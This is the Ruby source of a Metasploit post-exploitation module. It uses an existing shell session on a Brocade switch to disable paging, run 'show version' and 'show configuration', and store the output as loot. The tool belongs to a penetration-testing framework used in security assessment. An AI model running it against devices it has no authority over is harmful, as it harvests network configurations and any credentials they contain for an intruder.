Path: blob/master/modules/post/networking/gather/enum_brocade.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Brocade7include Msf::Exploit::Deprecated8moved_from 'post/brocade/gather/enum_brocade'910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Brocade Gather Device General Information',15'Description' => %q{16This module collects Brocade device information and configuration.17This module has been tested against an icx6430 running 08.0.20T311.18},19'License' => MSF_LICENSE,20'Author' => [ 'h00die'],21'Platform' => [ 'brocade'],22'SessionTypes' => [ 'shell' ],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [IOC_IN_LOGS],26'Reliability' => []27}28)29)30end3132def run33# Get device prompt34prompt = session.shell_command("\n")3536if prompt.end_with?('(config)#') # config shell37vprint_status('In a config cli')38session.shell_write("skip-page-display\n")39session.shell_write("terminal length 0\n")40elsif prompt.end_with?('#') # regular cli shell (non-config)41vprint_status('In an enabled cli')42session.shell_write("skip-page-display\n")43session.shell_write("terminal length 0\n")44elsif prompt.end_with?('>') # cli not enabled45vprint_status('In a non-enabled cli')46end4748# attempt to disable paging, cli not enabled this will fail anyways49session.shell_write("skip-page-display\n")50session.shell_write("terminal length 0\n")5152# Get version info53print_status('Getting version information')54version_out = session.shell_command("show version\n")55if /^, Version: (?<ver>.+) | SW: Version (?<ver>.+) /i =~ version_out56vprint_status("OS: #{ver}")57end5859ver_loc = store_loot('brocade.version',60'text/plain',61session,62version_out.strip,63'version.txt',64'Brocade Version')6566# Print the version of VERBOSE set to true.67vprint_good("Version information stored in to loot #{ver_loc}")6869# run additional information gathering70enum_configs(prompt)71end7273# run commands found in exec mode under privilege 174def enum_configs(prompt)75host = session.session_host76port = session.session_port77exec_commands = [78{79'cmd' => 'show configuration',80'fn' => 'get_config',81'desc' => 'Get Device Config on Brocade Device'82},83]84exec_commands.each do |ec|85command = ec['cmd']86cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')87print_status("Gathering info from #{command}")88# detect if we're in pagination and get as much data as possible89if cmd_out.include?('--More--')90cmd_out += session.shell_command(" \n" * 20) # 20 pages *should* be enough91end92if ec['fn'] == 'get_config'93brocade_config_eater(host, port, cmd_out.strip)94else95cmd_loc = store_loot("brocade.#{ec['fn']}",96'text/plain',97session,98cmd_out.strip,99"#{ec['fn']}.txt",100ec['desc'])101vprint_good("Saving to #{cmd_loc}")102end103end104end105end106107108